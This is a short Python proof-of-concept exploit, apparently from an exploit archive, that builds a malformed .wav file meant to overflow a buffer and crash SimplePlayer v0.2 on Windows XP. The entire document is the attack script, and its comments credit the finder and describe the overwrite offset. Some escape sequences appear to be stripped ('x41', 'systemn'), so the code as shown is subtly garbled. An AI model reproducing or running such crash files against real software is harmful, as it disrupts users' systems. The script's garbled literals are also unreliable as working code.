18 lines
No EOL
527 B
Python
Executable file
18 lines
No EOL
527 B
Python
Executable file
#!/usr/bin/python
|
|
#
|
|
# Title: SimplePlayer v0.2 0day (.wav) overflow DOS Exploit
|
|
# Found by: mr_me (seeleymagic [at] hotmail [dot] com)
|
|
# Greetz to: Corelan Security Team::corelanc0d3r/EdiStrosar/Rick2600/MarkoT
|
|
# Tested on: Windows XP SP3
|
|
# Happy New Year!
|
|
#
|
|
# POC:
|
|
|
|
crash = ("x41" * 36000); # overwrite the buffer at 262 bytes
|
|
try:
|
|
file = open('mr_me_dos.wav','w');
|
|
file.write(crash);
|
|
file.close();
|
|
print "[+] Created mr_me_dos.wav file"
|
|
except:
|
|
print "[-] Error cant write file to systemn"; |